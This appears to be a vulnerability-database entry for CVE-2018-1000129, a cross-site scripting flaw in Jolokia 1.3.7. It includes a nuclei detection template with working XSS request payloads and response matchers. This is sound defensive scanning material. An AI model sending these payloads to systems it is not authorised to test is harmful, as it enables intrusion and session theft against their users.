Browse / CVEs / CVE-2018-1000129
CVE-2018-1000129· jolokia / jolokia· CWE-79
Jolokia 1.3.7 - Cross-Site Scripting
mediumseverity
6.1CVSS score
24.7%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it
Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
Fix
Upgrade to a patched version of Jolokia or apply the necessary security patches to mitigate the XSS vulnerability.
How to confirm it
Send: GET {{BaseURL}}/api/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html ; GET {{BaseURL}}/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html
Positive when: contains "<svg onload=alert(document.domain)>" and "java.lang.IllegalArgumentException" and "No type with name" AND contains in header "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2018-1000129 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2018-1000129
info:
name: Jolokia 1.3.7 - Cross-Site Scripting
author: mavericknerd,0h1in9e,daffainfo
severity: medium
description: |
Jolokia 1.3.7 is vulnerable to cross-site scripting in the HTTP servlet and allows an attacker to execute malicious JavaScript in the victim's browser.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade to a patched version of Jolokia or apply the necessary security patches to mitigate the XSS vulnerability.
reference:
- https://jolokia.org/#Security_fixes_with_1.5.0
- https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad
- https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html
- https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000129
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2018-1000129
cwe-id: CWE-79
epss-score: 0.24674
epss-percentile: 0.97908
cpe: cpe:2.3:a:jolokia:jolokia:1.3.7:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: jolokia
product: jolokia
tags: cve2018,cve,jolokia,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"
- "{{BaseURL}}/jolokia/read<svg%20onload=alert(document.domain)>?mimeType=text/html"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<svg onload=alert(document.domain)>"
- "java.lang.IllegalArgumentException"
- "No type with name"
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200References
- https://jolokia.org/#Security_fixes_with_1.5.0
- https://github.com/rhuss/jolokia/commit/5895d5c137c335e6b473e9dcb9baf748851bbc5f#diff-f19898247eddb55de6400489bff748ad
- https://blog.gdssecurity.com/labs/2018/4/18/jolokia-vulnerabilities-rce-xss.html
- https://blog.it-securityguard.com/how-i-made-more-than-30k-with-jolokia-cves/
- https://nvd.nist.gov/vuln/detail/CVE-2018-1000129
Use this check only on systems you are authorised to test. Where the data comes from